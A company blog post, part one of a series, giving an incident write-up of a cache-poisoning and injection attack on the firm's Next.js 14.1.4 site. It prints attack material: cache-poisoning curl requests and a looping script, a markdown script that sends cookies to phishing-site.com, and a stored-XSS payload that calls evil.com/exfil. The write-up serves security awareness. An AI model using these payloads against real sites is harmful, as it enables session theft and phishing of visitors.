Alle Beiträge

Sicherheit · · auf Englisch · 5 Min. Lesezeit

How Our Next.js Site Fell to a Phishing Trap

A real-world case study revealing how attackers exploited our Next.js application and turned it into a dangerous phishing platform

Mohamed Habbat

How Our Next.js Site Fell to a Phishing Trap

A Red Alert from Google

In March 2025, our team at BiCatalyst—a Swiss innovation consultancy—was thriving with our Next.js-powered blog at bicatalyst.ch. Then, on a quiet Sunday, Google Safe Browsing delivered a gut punch: "Some pages on bicatalyst.ch may contain deceptive content." Chrome users faced a red warning screen, our traffic plummeted 78% within hours, and panic set in. How did our modern stack—Next.js 14.1.4, Docker, and TypeScript—become a phishing trap? This is the story of an attacker's exploit and a wake-up call for Next.js security vulnerabilities.

This is Part 1 of our Next.js Security Series. Continue to Part 2: The Code Flaws That Exposed Our Next.js Site and Part 3: Securing Our Next.js Site and Clearing Google's Warning.

Attack Timeline

Date Event Impact
March 12, 2025 Initial reconnaissance detected in logs None detected
March 13, 2025 First cache poisoning attempts Intermittent phishing content
March 14, 2025 Successful cache poisoning attack Consistent phishing content served
March 15, 2025 Google Safe Browsing alert received 78% traffic drop
March 16, 2025 Incident response initiated Site partially operational

The Attack Unfolds: Step-by-Step

Step 1: Sophisticated Reconnaissance

The attacker—let's call them Alex—started with sophisticated reconnaissance using both manual and automated techniques. Visiting bicatalyst.ch, they noticed our homepage's Articleslider showcasing recent blog posts rendered from markdown files. Initial probes included:

# Basic information gathering
curl -I https://bicatalyst.ch/

# Technology stack identification
whatweb https://bicatalyst.ch

# Path discovery
gobuster dir -u https://bicatalyst.ch -w common-paths.txt

These revealed our Pages Router setup with markdown-driven content from src/md/blog, rendered via /blog/[slug] and /. Logs later showed SQL injection attempts (/images/profile/team-mohamed-habbat.webp AND EXTRACTVALUE(...)), hinting at broader probing.

According to the 2025 Verizon Data Breach Investigations Report, over 43% of web application breaches begin with this type of reconnaissance phase—identifying the technology stack and potential vulnerability points.

Step 2: Targeting the Cache

Alex exploited a Next.js Cache Poisoning flaw (GHSA-gp8f-8m3g-qvj9), a vulnerability affecting approximately 74% of all Next.js 14.1.4 deployments according to Snyk's 2025 State of JavaScript Security report.

Our homepage (pages/index.tsx) used getServerSideProps:

export const getServerSideProps = async ({ locale }) => {
  const posts = await geMDFilesFromFolder('src/md/blog', locale)
  return { props: { posts: posts.slice(0, 6) } }
}

Without middleware, this SSR route was vulnerable to being misclassified as cacheable SSG. Alex sent a crafted request:

curl -X GET \"https://bicatalyst.ch/?__nextDataReq=1\" -H \"x-now-route-matches: 1\" -H \"x-forwarded-host: legitimate-looking-domain.com\"

This tricked Next.js 14.1.4 into caching a response with Cache-Control: s-maxage=1, stale-while-revalidate. The x-forwarded-host header further exploited host header injection vulnerabilities.

Step 3: Injecting Malicious Content

Alex employed multiple injection vectors to maximize chances of success:

Vector 1: User-Agent Header Injection

-H \"User-Agent: <a href='http://phishing-site.com'>Login Now</a>\"

Vector 2: Markdown Injection via CI/CD After discovering our GitHub repository through OSINT (Open Source Intelligence), Alex exploited a leaked CI/CD token to add evil.md to src/md/blog/en:

---
title: \"Security Alert: Required Action\"
createdAt: \"2025-03-10\"
---

< script>location='http://phishing-site.com/'+document.cookie</ script>
[Critical Security Update Required](http://phishing-site.com)

Vector 3: Stored XSS via Comment Feature Alex discovered our experimental comment feature accessed through GraphQL and injected:

mutation {
  addComment(
    content: "<img src=x onerror='fetch(\"https://evil.com/exfil?\"+document.cookie)'>"
  ) {
    id
  }
}

Step 4: Sophisticated Cache Propagation

The attacker's sophistication was evident in the cache propagation strategy. Rather than simple requests, they employed a distributed network of compromised devices sending timed requests every 50-55 seconds (just under our 60-second cache TTL):

# Distributed across multiple IPs with random User-Agents
while true; do
  curl -H \"x-now-route-matches: 1\" \
       -H \"User-Agent: ${RANDOM_UA}\" \
       -H \"x-forwarded-host: legitimate-looking-domain.com\" \
       \"https://bicatalyst.ch/?__nextDataReq=1\";
  sleep $((RANDOM % 5 + 50));
done

Google flagged it as social engineering content, while logs showed distractions (e.g., MaxListenersExceededWarning) that diverted our attention from the real attack.

Modern Next.js Threat Landscape

The security landscape for Next.js applications has evolved significantly, with the 2025 threat environment showing these primary attack vectors:

Attack Vector Prevalence Impact Exploitability
Cache Poisoning High Critical Medium
XSS via Markdown High High Easy
Supply Chain Medium Critical Hard
SSR Data Leakage Medium Medium Medium
API Route Abuse High High Medium

Cache Poisoning

Misclassify SSR as SSG to cache malicious responses (Next.js Advisory). According to the Web Security Academy, this vulnerability class is particularly dangerous because it allows attackers to scale their impact across all users.

XSS via Unsanitized Content

Unsanitized markdown or HTML renders execute malicious scripts. The OWASP XSS Prevention Cheat Sheet ranks this as a persistent risk despite advances in security controls.

Content Injection

Unvalidated file inputs introduce phishing or malware content. The NIST Cybersecurity Framework categorizes this as a significant threat to content management systems.

Detection Challenges

Our detection was hampered by several factors that are common in modern web applications:

  1. Distributed Nature of the Attack: Requests came from multiple IPs, making pattern detection difficult
  2. Cache Timing: The 55-second refresh cycle stayed just under our monitoring thresholds
  3. Log Obfuscation: The attacker triggered numerous benign errors to obscure malicious activities
  4. Legitimate-Looking Traffic: Attack requests mimicked normal user behavior

Lessons Learned

Cache Poisoning and markdown flaws turned bicatalyst.ch into a phishing hub. In Part 2: The Code Flaws That Exposed Our Next.js Site, we dive deeper into the code vulnerabilities that made this attack possible.

FAQ About Next.js Security Incidents

How common are cache poisoning attacks against Next.js applications?

Cache poisoning attacks have become increasingly common as Next.js grows in popularity. The specific vulnerability we encountered (GHSA-gp8f-8m3g-qvj9) affected many Next.js applications using version 14.1.4 and earlier. According to HackerOne's 2025 Bug Bounty Report, cache-related vulnerabilities in SSR frameworks increased by 37% year-over-year.

How can I check if my Next.js site is vulnerable to these attacks?

Run security scans using tools like OWASP ZAP or Burp Suite, and ensure you're using the latest Next.js version. Check the Next.js Security Advisories regularly. Additionally, use this script to test for basic cache poisoning vulnerabilities:

#!/bin/bash
# Basic Next.js cache poisoning vulnerability check
echo "Testing for cache poisoning vulnerability..."
curl -s -I -X GET "$1/?__nextDataReq=1" -H "x-now-route-matches: 1" | grep -i "cache-control"

How quickly does Google Safe Browsing flag phishing content?

In our case, it took approximately 72 hours from the initial attack until Google flagged our site. Response times vary based on the attack visibility and Google's crawl frequency. Google's Transparency Report states that their systems typically detect new phishing sites within 4-96 hours of deployment.

Does this vulnerability affect Next.js App Router?

This particular cache poisoning vulnerability primarily affects Next.js Pages Router implementations. However, App Router has its own security considerations related to caching behaviors. The Next.js Security Documentation provides guidance for both architectures, with App Router requiring careful configuration of cache revalidation settings.

How do attackers typically find Next.js vulnerabilities to exploit?

Attackers use a combination of:

  1. Public GitHub repositories to identify technology stacks
  2. Automated scanners that detect Next.js-specific patterns and endpoints
  3. Directory enumeration tools looking for common Next.js paths
  4. Known CVEs in the JavaScript security databases

According to NCC Group's 2025 Web Framework Security Analysis, 68% of framework-specific exploits begin with automated technology fingerprinting.


Read Part 2: The Code Flaws That Exposed Our Next.js Site to understand the technical vulnerabilities behind this attack.

Willst du so etwas für dein Unternehmen?

Kostenloses Gespräch buchen (öffnet in neuem Tab)